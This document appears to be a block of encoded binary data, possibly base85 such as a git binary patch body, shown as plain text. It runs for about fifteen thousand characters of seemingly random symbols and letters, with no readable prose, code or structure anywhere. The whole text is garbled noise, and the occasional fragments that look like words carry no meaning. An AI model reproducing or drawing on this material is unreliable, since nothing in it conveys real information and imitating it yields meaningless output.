z_S2V}Q8{AK`(h7@{vtg2J!g7i^*YRZwJPy6wfSX#9G?refuJdZgVxKQ^hz9^>a9KB1+wW<~2*xm+&riw&okCMZQ@6)W1^`1 zzs30*S2${Lq94y+m|d*Q$od&PpTp-p*QK+2?u^3&A!XC7c#r4%%$KDHz<>W@w3l_2 z{gcZa-{Bfhq=n~2Ja1yxMN>tnO&D%Umo zFpTa?hPe^dnFg$FiKtayLyd5i^i*o#Zd^g7U+-XP@DjV;x$dG<*SdNHT;~F=#;1th`?Zh?x>?rQBssXR&i8Z_Zu_9BvlkR~a0J z$DLPC*x|$>@@3uJEn&9OQ24|+{Fx&2{b34)WRI$}mHro~7{aIoFenVLK)IT^_X2XN zO_D-|l<=Y<0&qMIswbh+c`d4lZEYE7lzj8$pWij|5+bM9 z^9s#)V;s|q3SnP2_KyDLpG5Ru6Ioj}@s9pL8KF_tyD|3 zQp6|bSG2a`Huds3)l0sa`h_R%^gS1uhu&08cNk-pRNaiZN2h7YKJsoo3hxoj5YJ;6 zgp3}j_{PYnmm^(d)MJT6XZ6`-?1SM?zY!xad2Jl7U4o{FZ5=o0hh^HvZ7lL?AXg}M zUgBDSbZbU3*3x#}k;^$}Zo=&tyx`f-icr6fv%a=nT?VVWgSf|$gG&yruz-NAf8Dub zhF4#qn+h{7@-64WA#a}IPR7Ddx$&XV?c0XhVsiDsU=|aJaJ)i}bH4F`@p2W6OG$vF z>O=m5obqF3qE^)CUgHc|Juo5LxoSXg$O1811IwKmxEE+SZaCqUQb2@qi2_=|&x%*0 zxewCTIQ_Q=V;~7e0tl2Ih^^_hFZKUNm>ox&ll{2ptr`32xKe}risZFf9I5ql zG-I{MwksvNUj-LgNfbWtH{0e-y`1a2&;TEE`qj$R*=GAmlF%u`)7qQRKI@Cw3KS9KnX7f6`NR$JMMfxX)wtEk;811yDK-@ygyq{{zpr@1*$Iw7)^)CU~GB|m&BG?a0WpRj6LHpHUKE-cdxc{ zS!P^}Gb}%Jx}PytgWDNcvoYsAuA8xACR!hP6_bp>v?Hrh9~(%y2`pxr=b_CSr>Qtui?06xp|ELQ>{{#d&xO=8Es;gj{th!T7m5A$=HDD-Lx6u`H9;7F&9r> zw;!*Xvjjc~!)khJNku4zeN!^@Ur26nw%66AZ;~}p%twAR4b;>?p+!G`8k6@K?}j20 zc5JPsKFCj0;aU>b{7|E7!a_hS6_?`%i5aUXK{E0B?<5r@a!bkmRtvi83>^bS6n2K! z9W3VJcPSSXvvZvIIk;#_vWB`6+>b?@oHqmtquYqNjP1&x7Vf^^8tVTOFhgA3GxUil zBB~*RL;RbyBB!aIdjbdPZfHoJQJLa z$~>FPt&jRqn=7MD!yk)w{xJ}*FF^bm2}#ketr_}CkY=LK1O6d8&p^D^s3#L)2HrsY zqb5sRu*h*W0e|{Qbm;6zO3v|XWLxc!n@{v1H=thZko97PHc3juyEaB_ujwl&s0=nIU-+Q*H?u8nKWFV~pac(t=e zc7yB7gA~JTO6Z|7<;@jS^7_x_fwI4$gEYF9yjvyUkOH`F;`c~vDyD&96nq{QD&tc1 za)?H%ziU`DF`0A@r~8)y`XN>#mp3rLKP1KWS}Kla9G0QXeN5{Tb#hz%be z@Iaf_Eo=en=T%H(QTQI)B`tc*M zxVk#Sbw@^iV%{b!aOm@mIA{3&Ug{}F$mBft@CLS#G6EMq9(7#VPAR2nVXdv zS$P;! zaEG(^*KwfC3p>pElQ<}mhz`CvKRrz^`?IPswzcbknxB}N#|D|EUqHPy%5pJO&aaCR znC5+wRPw02QuSl42r2p5Y5Mk|Xe(?i-LS7me^L3IvHZ*{qvc1W>c4J{b4`9^zTNvI z^9$9L7Eb|leVIpL<@c9h1%0wl=PgR=+f4nh*FsYD`UzS-pVVz0Oebe(a*sXrjn)*a`cf)wKQ(Tad8s>H^Q7WKqGwJ9Rhl`4DEA+jf> z!cRqyG8md1S_QQa>o%dNRe<@ioGp8wK8$*;)~l&91WVESFPKBrKdbvdh^H5DwTO1T z>nq?k*t@o`>+L%g+-+mjbz3QJ9SOAY>^%|eP)cm94#Sh|u5rVYqMf6`4_D_UKSML~ zL;N?oAG4cW!(?9WXrpj{kird_Xv;jAD6{3Xfgl8oH(E_DbLUN_8KVi+WUlNoRgpLM zY%TKha0ZKfE9;!f^A$zjX|9bH{$Lx^&wik?9mx#0%ibL_d$+b>E(~JEGJ6A=BbJ)d z1yl!}=z@N28RJyZwkr~kf?`NNJTpHm+dKN#ya+0xX1TSb;v{A>emq6@3ja1J!sF#9WI&9My|l8Rjhv;7Z!ZLK0e5zc~|Ebsf#d zI<%o4JB&&Y*BJTp;{?w{oYU`%3D(&7^89FH&&Tt>lWkr98N*TG@eN{&&gpa_h*oFb!Ng~f-;m?OcOPVv%Evbn?@UX$*!m7xZ!X zBB5nrHw~^_#+nC$;*huu8qA<~G=? zLD-j&q@wtA5cY8^%=Y+7RIfd`(JG~ib|Kja3C7^C(x75{e0)1N9yw}-6C>gJwAj5G-y6~z3Q&<4D6KaA%ic zvCaqp{5#5GahNtR&f;$P(p?*Z1rt1(>))IootMb3n(tz$$uF8%Z#2GW_Rue3TpGOp z75wlU>&+Rumzn2hORTY4IlqQdOwYa;Fw>5{2`fu&iL5x<^9`nd8ZxMvk;WhvHB7b+nvn;Cy_0Zd%46O^_G)q98g9wnUbq!|f26Y>U)E>f)4I90!C+I8rPx-=kMH>O z_dOnyT2r=_PDfqled=W?&H8)4MGDX&cYQBL_tqG$tFfftoSCX8umofd{mFO}A?3T- z_(<1`?!$`hL}wwgef;c$D`}8`KHzf}Dc4{H3OC>$Z)sT(t=WvRwa4a<$kg`_#0aTv zE1SJ-Ce4G%8ShY*I1&?`n{e7zItMa^oI+eN_=}uQG5mO}ZaiFadksjw@F%cnh?A-% zQ(xOpiZI}e&(v2M?iT03OnnjDN}LbDiPCOY*fV6({xBb#T~i_j`<5)6yMxqFcLoQk zq3-l)qZVUO>ri)sgiw9D;R{Jw)`ha7f1-2r_f5+WlXq6I6Wmcw5n`_AG!~ovPTU8l zjklUBhDQ{3m1EQ|5+=v4`P38Por3GYR@ei!`!w6Su|57-7P9hdAcsu0Xp^JepL~gX z3_O#gb8%Q`2nb-<0}9Pr2jgzZYxAqxkOfL81 zk@i?^d^AcgR5j-D(f;42X{Yew+L=aNahI+=Z1F7YZ{dPc$K^&$NHVlSEHzuT@Jx@F zi;Kz5!O714${Mu=~EI`PEL^;pcyDR1#(gjD|5ak#_mv%hBTaMzkWj&erz zj9-?sxg2GsSPT0dx`TRbw&hB@@Tvu^946g-w z()X2o(g)u{R)$S*?{64A_&i3X+M#0&`DXMq9#`G$wPT;bv#^}7Xf?+gF4ocSw+x^4 zOrtAuOu~s({}gK(<~Rt-Gx{AdV@ycu@K()%67@arijV}{LU5e7j@J}~Vd1|6 z>dFtmtCmuyrSBt;eL)@@^Af6yx=ss(iu<{En9r!Q{5V*2 z$Ad)&K3WUzxxoj51=n>O$|;yv768QBA+Mg4Q^&s0s-)2IYSE0r?_K;5RUTk%+FA%* zdyf)7*slf>_e_H%fsc08fclyUyoBmiA8M|8d@^noKVFGTIJC-Y2)>=v&k9~nl+blE zII^vOnbMTp1#1vyMSx)gk}Ma4*Ml8+MW!LaI2KMyE!fNgBlSkzAd~g|P>sPRDhR4Z zV^XkgxDNg#_Ov^9fHU)*cQuItXmp;&Rw`4NgX2i|4iTR1+V{C z-~O1s^|6qlZz-w&t8ZQZW>3~OPu5oLYfskp;g0^UUi!85t+V_4Eu8y{2CN?OoiDtpvSVHM;>&SPTk+*C z&dB1+kDC9!$%S!&@RNv+fsuble&`-kvB@;ulfKda3ift@VgIiX z;&E)2beC z8-@G|vghA9JS)z5qjxl(XV{@q*~`mx9{~|}$`;U@E{aGua{2`KrAXV_rSSMi8}zlW z{nxQ*Zhg237duzFtLw~-B`v8jCexZoC7}kt?VTwA_^m{=D(Ke}Sgz@tJds+;WwYS?9PoGHg{?OL>{&qL#9Ka(?XS>7JDBd_!tGFG6|(h?9r)aYZJNhULVq zY}>sl`=($@+ko4)u-K@jZ{dRS(UqYWPiu~?W*4Hl%w}xacWk3;u&cMhqU{&Af>ue( z4nO3(zB}B$I;aG<{vbDheu-+lGSW9B5N5x48nEG6F_1bN5Z;PQ*(Yk?#A%=MX%#J) z>g+^4aDRfkh<5;t*O1J$a;Ls0Wk>Gtkb>@b$g{}z>Z{%q->ZR?J%HMFt&G&t4{0^= zm1=stMV_AQSJw|SzcR0-mu*+0gm501RnNz6U0ZV#>TK@8NFkTUtk}?e-@Qv;qwUEU z`rf@)`tZ#=>!9Ftj+@u|kGtqNi0ZWl6!5ZlQ7!K3br@s`?HeC(B#;Osm2?c7r#)-cz*6Q?zYuVD&7oYoB-MIPYjE!OhxX+b$C- zG9E3_iniI_z#M6t`O#)iR%ybc&6p+?Z7akJC5b3PN2%x0W~}O%a|5B8W3yWi<+Cdw zffK%eM&s9tHffFx*vgkU83`h_wShHHX|AnWI-a0CUQ!)e&W-mwu#0nb0#<$Q;AFa1 z`>^6{A9HzBrIx+}gL)ntJt~*xqK@D>bnM*6w0{Q{1Q2V@0sdJaL(PqFuguc2%5Z?P z9_#*4%t!;yCU) zl#i$CkibmmRk&4T#Uu(y_*&+UZvO>NC4N{yR>bD1j@L~*5 z@-6Tmo2eD8k8*6x_1JPf<0Czp_)?C;cdZL)d$9PAyH=-nvDjaSu|!(zcfvdib4`@R zeh17mFw0>+ggFTF5{%rV)p1G9wkw_QO!mgx3FyfBov`h4+2i+121oa6#0i@XI7!1J zxHXRBhE;#?;J5dB(#ufHXcf-z>ZH)y{1*I;&55dA$h3`=nC`!@b=A{4zD-KlHU_Azy4G0JFu<& zJrb%;GKcy5E>csg54M+aSAQMA_#U5Q>*YRONan%ZeeJcJksP*KKE zQSPIn+y_Nj?U4aeS31DO=Gz^c2e8VcA>l7NEOU)4{=Tlwo}w+bU09ddG0Bs)-jmgc zlSUrA>{YZgH=)|*zK^PKxND2%Dz~{u(UVZL(e@L{CNKl>P7+8f zyvIJD_Qg^c-CRMBQO1+K$5K1DV5q+dU7>gFp|s!lbDlje9}9u*#ANlmtcwILiYg(ET>gF}a2-OUwm`Q7wI)TV&L z$HkzJv`g{d7}qU$inhPY3f`}#-(k!#%oV8FYAjINv1-@a+=(EeIo9VUI5yebszRe` z-^_a2TDAG412?ApXw~j6k;+}yp#Ikf>wmPn=(q{Hhw<#X^DXUIei*tsZ_0(~I00I| zdOGGhxHQ8%5?d)YqSLqSf)**_PzBk`A6LeP3%*B@?rQd6pU&Tu<&_7>hm9nk< z3)670EMgk}Y2*En-x+E+2S65c(?QIp><6><_g_ITgI$5E&cUqyF9I+u<$_5RU zv?vBATAX)n;u^RQ8sO*b9z%?54|kNc^^c>mEi|!gw7Gh;Wk}hKFtHuuOGL@eI8 zZ}c$qqX~ym>uU?I!)F=oJ?wLkpK$mQVC{Y_#i!LdL&j;2S~ic%K)h54Z@SOyI%qzM z!;E?#PddMWd1LMcVf5O4yq3G7Dm1bP?GX!^hF~f)8tvl@_%6%xOV(FMLAl^7o4AMC z9@#6}v~G03EkZ}$xhl!urFi&om$f=%$b^K$g>TEw#nMT$XIMy|ce; zRtWZVaX+@PM>c9Nhik=n7CMaanqUs0GW@sY9x+7V>@yzEH4bb&f-{ryU9uGHK;yyK zFkdmmj77)G*wufVO>oY0z&D+5Qc}&;KIg|cetyE#}#q&erQy+cI40U zyuvYOpM(?6o(Ug1qY{p}uI_4j5Hro_uBJp-h!}^xJ4nf#-S5EcnI+%A8RCqUb|@ko zaCPs>{shl_)nXT1*F@=-A2OqVb+V`#O}sgN|F#fZ>0_U<&4MG~`>orov@F}~v_iMV z(F(z>KjGLM2j0@Kd9YDC@n;kE9$wilt4GfAd#Wxwbm@RX0$jHSZBNvB4WiAdGxj4jJ*ml)v2l~C|yal2n^nE}|LD1;#Q@M7Pyx^HW}huQw3kJ)Or z{Q;`baUp(xY57Wu`!$l05`RsyK%u`TnV{Su2+I96rW_Q#R`+L?KIDB1n23{XUp6Je zro4M9c~i0m+fwHFi33>bGjV4Ay4%Xp=Q^VYS4m{B@0Z13G8@HU!p&FximW&=ju%aM zOosa)QuY4m-czwzQLn_-su?qo50nfx{QabSyhgcnmX&v9RzB<`Do{L^e*dyVkGl@H+ z9QMKIufs66*;dBM-WvJp0XzFV7DhgH+@8a(L!8vuWNeY-@}T}uCD(1iJ$Bf`sqrb1 z{Z)CUVs5Ot7nwwRYlOPM2BKBn*H}whNUI>iM~jl>p2kew*;{VjAcH-gA5477$clbz zYB9vW-e0L#S75p~EX)<9H^OBck$1lr=#qt%g2qh!128ZHXX!8C&}NX$4PeucdCQu` zt1N4q3iE>JIWzS+_O?UGw$dc@3z_;&7!vb3kzqK7!jF#^>yw|y>l64~+^-fYgFClw z(w(ho>vzJ5!v*pt08ef%S&9Yq~3 z$GG8fa)W#s2WJCL>;Y?$*WmNw19?jr4oc(fq{(DT%*(?Z-ni!E72?YcG(|D^@@sWP zt}R~~o*$AQ=?|ln)h#7>^%D`LtZ=3|17hu|A9$CtE2V zmRQ0PQtSoC@dxY{^pK+l{Td_*ZYN1@{c!|FxWB~7Sj_g!aAV;FUUyY!!ruzc;&jo> z*;$n_c;Tj#T~^rtl&hshyU)d`{$y3MZC54kMl8p5jpe3X+tNC$&kVr5b*52`__O>T zT-O+a%MbVG+FZ3T!1craumVkdsJp`MKZ1E8wo>7Gh+QFE31|d+!@EOX$^9z)Hxh{O zSiT8u|ERDgox2=@h z9k(Ug*7EQSMi5cZrk?T9;=fpe*eW_c`n6~vyRfbDsD?(1m%GMWJrRNBv4Q2*Oyfqa zRQ*}pq=Dsb&v*+L$2T$Vr4Zw}0M1-Wp8y1#+a7mK$<#}~#mNCGpCOt03d7yv><=~h zFg$7p;Dc~pvEOsH+WogK(bE6%k&n9~N+w5};?QxgiDg&n>IwQ*r~TsiXexA9M9uhE zsy)0ChmDS{n;d&m+qfHe=VTY`qQmJYIYY`;n!Pvg>%+-x-=svSR7llxwI|KuNwW@5 zkG4ILNU0t0q}Xvc4Q`adqu$!r-0OuQy6X}j72vR0JH%N-Q&gil5cLg)(v=cM0G@1S z&`}vsiOu*|^QyteP{-{YohLZX$bCE>GZyP^(5i9TaA`Yi3ODa2?`N=RohIkocoWEe!WfBDteuwDU+19}N*3 z;am;AfU67fA38A^uRSq$JX&acCXynJKRP_k>iU_MX3?UwuP85EtzhTOrMcoC_KHvJ zIBEy|ifb6T+VnAHUuf0RtQRY(<*-VfpcPu=R7g8yh_qRXH0ns0oao~7QL};TJn2aw z18KOLG1rq6$xBw-{Zv~m$hN(W7m2jGiiRuhSjF{)7I|+ewm$befO}StpxH)tyk!+F z)wpTZ3M6->-G9oqx5A9}y!xZ~{Uhu)M+LO)I?zwk>X86QA|n`@;6l}Pk?zWn5$`!? zljD25iItBQT&Ae|gVE1GEd2DK7bHY{9iG z?h30IckbIjm9KXpo<{l^J{xw5l`7(hrDEI&w=b0uzFUe2DUD(YA*%@SE6C)2GQ?eB z5q17=iR7+`7XK^gj1hZ+&femUptHZ&8g$+&o`=)7z5q0z15G@qE(S6cG;F(A3y3d~ zuE*%Ab;9)sUCA!E=EDV6#r{FfuyM=hjo%^ucJYq%H;O+hxZc-*|3<-|SMWLoe@eki z6x^ra%M^Tpf^Sjq*$O^I!OIkUoPrNm@TCg=GX?Lf;L{bnr-FA;@I(b~8OZ!Jiu2Oe z#UKU$T)|H&xLv^yDR_l~Uy3vG`?i9=rr-?<{-T0Et>Co^{)B?BRPY@NzF5KMDEKA? z&rt9Q3SO+>_bB-73ZAFnH!1iv3Z6>1cPT2mhyuvBY6S}Qmw36xn{rUZ%SdO$>4;|d zw~2nzUoH+w{|0fjjQk)YTjBIgXXJDl`IKntLka8?|A6fq%8&#Va!Q39SN1_=?<1z2 znB662y?9fGl#ACHa&9?7E-o_a=O#jG3HdKTWR-B;&+Mgy1$9al}9t``aSD!$_%&6lG9kyMB$p z<7{wE3z49O**OQ7H>E*LoP@A#4EqR>fU91AG8@AeXpl|f5ybPR>=X;6eM-!c_CXOH z4nB-xpCmzL;+rtCwprY!qvcOr1#+59AX?n2BKL>w8^n-D$ix}C=1ZJMv># z=1n;+&h=(4E9| zvtbp_s*oLH5ps$d{8)w@7pq9cN63B&v5S1-dU?b~8~`CQl}V(HMA|Bm%7tYj**q@n z%+gjSwGJV^X1a>$n)Wzc%ivPd?Ug5`%Szvc)XEs1f$&cIwK$RdU%`GYRxHQ`*CR=K z03tBi>gzxv+6~Cn5>h925~7o6h=f?h%Y^JB&;^hi-1(+8%9d| zfrUHE#SEnEn@7klKzw`Y`n?Q0E+&y?OerA0k`SMmvKqWK62~JUo5d}_@urlD8);jQtnJhI+V9 z1&vYm2-v>Op*72wcPL?G&FV|Ch>tMEU=w{1wW7 zSo!~`{O>CNOUnO-@;|NozgGSd_~n8 zsA9dCDx+)=_c6*4MtP1=PXr21NE1Ry`VmWM5HF zc$&oQFD}GV6w%@wY}G@30;eyPmF;Ih@@=E5KU`OGNf9sWqeQ%2(%C7V0)Qgkto*B$ zf4%ZAR{mAWKU?`1D*q(qpQZfw!0#LC0ShnXQiOG4-|I$A9svxWogq&mgbjQUA?L~f zaY@`Qq9-8Ok|w$_q?REwWyo>S+>80%D=sMe9BkiKVhooU4PqA3@f8y?P{pa0xLZZJ zisNIPS;PnfhVKG-`8LNW=*<#mpV&y8rRx#$i3)jKg*?iTi43VxA$f!hBIGSVIum!q z4NBajB$1t>4*(SRZOU&`{_B-La6K|%A<2hSB4!z~Pkh@Gi8W{lN$w;u*1(g%z%AUE zB;bNgRW-k3r&P`WV(fy0_8ZdPAbtzmx0f_8%rlhQGcu%Hcp0*ZAs?xb5#tzF7vnyG z+MBfwA>}G0PKKNjw=!fOLw=(|!d1vs47rum)+3}dL7ncc1QjD0*eRL-pr9G)0*&r&Vy-n<)Ew^ciH`<(A;q)zKyz_G@g3aQW z5`U*yr|id-{iw1FVEZOA#=A1ccJZJL*(avcmgo6IiUe&G4rPy0_MOVU4YqF(i99Na z92eKgkmKTNhFBQ#AVNBm)tlETS?Mu`EDiubS=B559{7EYPl3eslK3g{jtto+-iGZv z$Plv%*{VV|Gh`b>#6!Vkv4Se6nO1RcFiDq0-zhSgMDZ_xz6a>klru?S79ratq)to# zgaf9ObYtXrPTVbH`^3+cJy6+wVEbl0jkpV26K}1;nCDu>JJ+f_U$|P8KLE`08Rf55 z{^QF3HvGO}BzcWuaE}bxC*Gv(#o_LNxGEb+F+{pB$H>Jq3dt+&GV!0w*cHmD%%cGL z8aDvBMj_`(N-{7@;a^ivd^w=JkN5|P|D43H69fN>W-$Ff09gx2uxL9>=kvt!Q^5gE zoEVb@{w|TfX)4L)Yp6_5iT6LGeMb05au5@_Lt@m6-vGikz6W%?DY4>N>Bn>jejjcg zw+pMnT*VNhoA*lO2C+aP7ZLeZa{BRu6wG$;=CXsjiS4xTPNA|^8cv~JlyTz3 zv(mPTr(pYLJqwJF6~@E3CZ6N%xze_Zg~S*}jNKB$Djtw=kBh0wzE9a>ls!V(cfj_= zFy7w~0ifAM;9*`LIV$Z$I{25UV4Br+O zUZM;s7oXUSVm%4lcjh^S+$2M+qDF@774J&BUhGnsZxFMbn9W(83v5zPC9qN%Wv9pm zfQ&hnKSTNFDgQX-pQikGDgRjIze)LrDt}Mq@2~vf${(ZrO+AeCEXx16@?Yr2%%cBO z{xiy74Zm+Qvvf1E#D$gv2=T2Tq!%E*3!C8TD#MP8KQOHJKLPo6R_6jp0X6d9zlZYoQ~ogceOt*=9#~>~?}89tF(DZeQY$WY zW#)H?FJb#;F=V6+DHC5UHT2>K5@VluU)leQn8S#9mBOr5n7>mPuPFOh#Ec=PK9lK} zi5C@SiNaW^>_>>%_&hM*A*Oc_l~fJxh3Dvh8Uqh9@FhuRpBN*fof0Ex8(qm*NqM^% zD1)|(KFaO|+qaF8=OHq_?&{qqvG1fSLb`mLUqt9Q75a5bFjPpFZv{gKsn8D$*fhdo zBr{g=Ry6zMbNcSqm~TiI2kOrw%r}JCpFcneSjCePyFu3!c7tBh>RPT`=k!I2!Ui$! zgwglh1KSr(N}DC6jbaoic~druJEdJGZev>d3&40(Vw@7!5weevJPFw(x=7qjB1GBW zM3KfOabDWRLcsQIVT`+EjD6xm8FES-miBg0LyT3#hyg}tiZS;pRn0fcC_BY!0NBpg zEB|8nebY(e$P5bQxVSw5MB}yq@~(s&6nzLOCgk@La!z!|OxRaX$gcniCfuQ?j}zYG z!Ja-=WQ_oc2Y-zS`9BmPR?K1q-_Fgz8cQr_;n9p&&UknHP`o_Rzcrya@#1hq*vJSW zio|Q(k;Coe^~>o-4kv>shx#)=Krzl@av#W$1~CB;&M2}#k-gz?>E9+&;Pey&{Zs${A-a<6QU^Tr*^x81cTu zIW9gq2ApBUxmSjq6TfDj%E;$!64EGMBAv~QeH|gj8qV%6M*aDtw2Q@Suzkg^0I4aH zNZb`JHp;+_Vm)o|Jc3Fj=#*F~?S0}AX>S(`VEbk<{@aY7vPERd5TBSV?K&}@7{iFM zQKle=isKhjQ*0NvNF-hKSx>h1iN8P0rg=uc;XX>vn^G&R5~Eg_lzqtxaxo<50J&hT zYTwU4XH(VreW0?Ncmn`d=f5cbua*Dz%Kr=He?j@zD8E zFZ{kn7WK;+owFDZ%qrhOqO1XmZz)|axHvNFi9lc6tANb?f#`2_Q#tfU7&&|&0Os&x z<^PNFzo-1aSN=aM{|n0hJLUJn?`z(QBpWeLVaNG2LVWdvoR*NiVvWQ-E|yDst5~A! z`O3~#cBZl?D|@`O*Nb~$`*xDzdQj}F;7)f{*@}@-F#iRB*|I4A=gNN}+{pF`Lq`o};)gOzWJlafl{|0jm_9*^2H$<)1{l zmfwQJA3=g;I8}!16ZgUPH892JRLC$DGK3*}8B+8E$sUeIvaG*f!a@5B*c@&CGt9{T zhtjW$|5E-M<^MqWcfs%5ybVcQD-+j+uZ%Ibh(Ae;E#h~ueJhA@DUFQl;%SMoLp;rp zX$(2d5JOa7q=MiO0{2VwdXY~;YWqzqD zsg&wAk%SOm93dMdFKsFGPOo(?FW%W6L zUT-R$ja)lVSufn@z`=&!0WVI*JR_2x1!N&1-2mxK3=c*sF+59psBS9&pctM|{ygPh zru@^DKUeval|MuIhr#blW|F^}LNU~fZ|@-GGa}*;dL|1)N*H1+6|5sLc{_j$6?#`m zs9c1>_Vs7TRD|Ggq5L>usQh}lGV<(M3<}upJ_@BQ8d$+bOrk8xaY~knmWy|#jrBii zZxC<5_AMmU=2WtGP;BkO7zc%`hW07(;QQd{95FtU7!BfaiP0d^fZ<#9dxVs$xN}I& z{s%z*AR%#LvP{P+#!I_Ym?hPEaW^r~F>a~Ej1~hF#`|ZPE(QeBe_V7`b{J#SGR9Oz z`|A+q$twJ?G{EU|l7ZV4ONR*ALdbOz;uA;af$iEi0O=wj`^4*#&{i=ON&B`k z|#RxDk1yCXt_|eS=>Y0STcFwJq&@21q!=dz9RnbfzJnO`31=+q;s;6 z?m=4kd_*O@!al z27gb%eWY_0;4I;n51?cl{s@Q(5TAvvCd@6QEaSvR6Y_qLlKTWe-%bX9NY^a7-luE( z4!El5ilb{cUBj648*r)5c&SFx$~Q(aGL85iU~#;23sPcLyOAkQqzIPCkWyinA*JHr zK9tOMhNMf%b`C6??l*)m?=8Sb0nTCY=>RZS5OXjfJ`2P8lA2LKx1g+idkKst5Q+Yt z5jGKW8M7B(%-e7^!lfd7Lm}na3cBV2Gf&iLby_ic%8;H6?#+S3f-S@FN*Nbrs zT*$!xkbzR?Z$_XmnZVTqf}5N8cI^3%lXGW1_YD&c)a2gUTSh^1VPQ1WJdXt_-riiy%&=@{Xrk?D}o@a%zzG zH@f>8?z43FkZx>Q4&AMr!tMIQRo@2k{>hMU?_rFW_J-h<+w!Pae6Xut+97@6uMk@G zQtcU>8!orKLTJ@X=cMobSE57dtCzn0uUP4Gk4l7Pa!z-TN|uhv?op}IF%H`brDK$P z)UDDn)IDmLbPRTn8YCSzx<`$aj%(bbCQ66hJ!&i+)nRwS3UNgk4pUWLOfmMn-O1F9 z2QOb?gsQxuSArS6DsS7GE3nB_RbK6tU~*QKckW6s+2dJ)D~OQUs=WFuv6-u?Jl~aI zX1^+L{gq(KsVZ+3!96x&7y2vAQ&rw2B$juaDYk#s^Oboru%Yw7Su$`(=Ye@L(8<8E z?~#2_25#;=aGDGZu&x{)DQj1kDR5UA?pV5a8SYyzcFJ^b3v=`XOvf>B_Xhmc3om~c z$h(pB<|}%1&otb3(LLF4C(@lH-Me>$A?9$#ypPb^B(x?hu_4U9bsjeL*MyC2b0!C! zvJr?o|JS#H-3O69VVeCN&P(Kn?2Zw*_4l`DFksqU&VW@rngfzMaW~S~-4m(d`MH+B z?l`(;?E`^7(UsF3F!Ca7z{8fE|KI#By%%O0`F@z`quMajS1{K7VWw+gZiN{MlM3?? z%nF$GFfYRV0j3h>1dI-I87BNdnCS+XyI>~4N$B*#fg2W)Dm)%o&&_m=>65 z(CrO#D@-CxD$G2XWiU^`ybed>n0lB$z&r%Q-vz|~6eb#FR|oqh*uh^Z6z4lIZ^Ha1 z%x_@MrC98>FvnpUU~ZgbvB$uK!`uTi1g3Pd#l8sUGq^KgUxs}z?CvmwVBUiNAk0LV zbMSWo-NUfogn0($4)||^xd-MxnE5b4o<7n-?O%nN?RWPv+y9VcZiUai-)#Rn4tKu* z9>l%UcFqa2_vvM_`!|N#ADS~SZsC%-a~9^rEuOO|$5f86v_g}87U?2{Oz?8xa1MKH8b%-B8{2Ienp%G zOA4I@Idc{<4?%aF0cwqJnP;T=9O6C*^L9Jl3Rf07a}awPaDwu>Fgwh?epQGa^s*nC zQmW8Zexi3)n`NOpFJ01pYXZa{(Kzp z5Wk{b{8tgTw4V{*f_UxY{}u4(2bemS-4;xMY~|}{J5n{ z3KuvRELm()e&>=UsA7xfn^@Q8&MA~~TC`x%f`{igAI+ZYDs(Pcls$LJqD6BS&y)FF zmNVD6q+sNlY`=SfO&2q^%BoE74q3x>ar(4Rub2|f!zWezAC zG}=Q*^S|e%5b+C4%cN|`5A)L=@>6J#^97Q|LX(biFzB?0=1AyIp+(8Fj29{@Mp*57q>h-;c@2CFuynTmY&$C@X3noOYD{ zAoO3S5ofwv(g{*11jQWuGx#%^Mk6)W+1nturQkMLo0rP^G#BM=f48Yd;rRE)N8CHJHr2ih#Ll`zab+X-7F^S&4yE&)Zh zYrOC>I)W#nTHWV1waA17-Qp`>QCGyXMFT?8yjgf))8d5F^{RSCL6 zo}@w!$VXd#$OY3dxHo7s2b8IiCR-UfHu#t*OC=3|jW+kNjJ*&v=g35Vs9rL42PDdP zInZh>`w{rZ-#~=1jGRb=+$;mFhg8mz09k~8M*E`N76L+z$ehO^ZZJN1H0mF9rZC-# zP{vz;vil@uvbtE!+k-=w`}XcZ^|#NRnuOY^6((H`XL0U*w#WS)V9pm(24cu$e#B zf7Z^qa2e(H<2f|a`F`04>tdW~5b6*qvo~v#UM^BEKq>;zn~@e<%NLRdQgpyih|$uR zqhMP#crQRaqqNvg7UtTqrFpu->-OKI+6It zU!pWAkRwMJZ0F3a(e8g(=fs)%s`&j7->47s;lf-^=AF86KDcGgWBP^;V~U1W$d(~= zbCgFN$J)eL>;Y5Y4u-{8?Wyo(gU58Z=w|t6!lQgSNecI(6%T^D5%W>5lLXg9E*E1izQ$y~X|>7zA0;Mx z0?d&j%;#bJa4*DEb)m~-nh1L$>;X%mPjkZTh3#l00e8IHWPb>DGR#D{bCC2>OtOP> z>_u~y{v1mUoE$H3vi)Nfq#dkn!VDg5k6zmK>NBqoBkv|t!@c+um%Sx)%;PCF1#`y4 zkC))KKgG&fya9Y=V10q>4_s#;JQju{);Y3`8}s87=o4yL_UcP8e&A?*3^0t|J_#Y6 z&C2Hj%h0#M(Feyf%S^YU4;&&{NI^}@mU?WQY;$aX83^etJqOCym@Tr8n+Hn&Zo1SW z$td|rvd)d|z=341Q$DyZK}k@*{%briU(7Fc8*|FKNKF&Wb?5n>3jEPXDGg;XAE|Og z%5fNbq8_}94jAs(nNSr*io)S>^KT-xg2 zSmYq>-{ixf(J|G|%j5g$8Z)do)MKtXaSoM(@lG=SQX3gFuzyubSC&SG&G1H>OXjKU}*ymtR{sr^zzpT$80}tVVV$ z&+qHGARkP5G+KB^?b2EM`hIx@TU@Zbj8R_4l-sX@cBXHGd<4rS*yasdSJtHe_xNJp z8XSvrJkI`uGtZyOZ#H^#be8x9^+YzLOih`M@oG9W$iz;=3|-eTo>5mj!p1>Ab2REO zJ%E3sJJ2#TSZ8C3HeOi!$w6oQU0EC3nKk zm{Lb+b)H_3R-07Y;~DMy`#EZllZG;y0ggDz%Z5~DK*!$?cYB82$rDOj0F7{5dmAUEvwgE9f%N%$`5 z%tE*4@XrcljmSTclPIkIM1cSf7zkNGfM zaWvM8uKc2f`HG^+u`O!>S8)03jNT7@VGGhol5*gx3r9l6n%Ixi<5-&V2!3&CzrJSV zoV*0--w#ZFk>js@z2$f~D9<0_k*k5hdj4a4{xID(e%jM&&lCBY2_BgeYXn!InKz>( zv%qC4O2Y}sWOl{|eu8K)LCzn0Whv(xBo8ke~M>A`>;RYY^-gD$=cHyUtDbr zuIIIB@+FW0wHQ|$SqlG~ymNumsw(&Y9vI{z>Zqt_RIiFMDx;v7D5wL>Am{)iGh9@3 z7-n9Wk#{c6g^O~M3=ItpjS7njlZuRriV8b)4we-acBrErDm;gZ3d+)oii&gm|GxWK zYxaKkyfg3E<$wO4&wme#-&$)w>silQ>sj};*W01_r|pkX4|4JL>-o9fO$mE3b{Xu+ z6(4#1T4O7h67hduqvA?o+u7qi>tzVLrrT^e;UeXI-mDBx7yZm|=5FE2WA%@k#oiMu 